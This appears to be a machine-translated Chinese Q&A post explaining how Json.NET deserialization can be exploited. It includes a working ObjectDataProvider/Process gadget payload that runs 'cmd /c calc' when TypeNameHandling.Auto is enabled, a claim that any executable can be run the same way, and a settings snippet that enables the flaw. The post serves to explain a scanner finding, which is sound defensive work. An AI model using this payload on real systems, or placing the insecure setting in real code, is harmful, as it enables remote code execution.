使用JSON.NET不安全的挑战



静态安全扫描仪已在此行上标记我的C#代码:

var result = JsonConvert.DeserializeObject<dynamic>(response);

response将包含Web API的JSON响应。

扫描仪已将其标记为"不安全的挑战"。

有人可以帮助我理解如何利用这一点吗?网络示例并不清楚利用是否可以在DeserializeObject方法本身中或仅在避免后发生。

尝试对此JSON进行挑选:

{
    "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
    "MethodName": "Start",
    "MethodParameters": {
        "$type": "System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "$values": [ "cmd", "/c calc" ]
    },
    "ObjectInstance": { "$type": "System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" }
}

使用此代码

dynamic obj = JsonConvert.DeserializeObject<dynamic>(json, new JsonSerializerSettings
{
    TypeNameHandling = TypeNameHandling.Auto
});

它将打开Windows计算器应用程序。可以运行任何可执行文件或脚本的方式相同。如果您使用object而不是dynamic或非通用DeserializeObject方法,则问题也持续存在。请注意,如果您不设置TypeNameHandling = TypeNameHandling.Auto,其他人可以设置这样的全局设置:

JsonConvert.DefaultSettings = () => 
    new JsonSerializerSettings{TypeNameHandling = TypeNameHandling.Auto};

相关内容

  • 没有找到相关文章

最新更新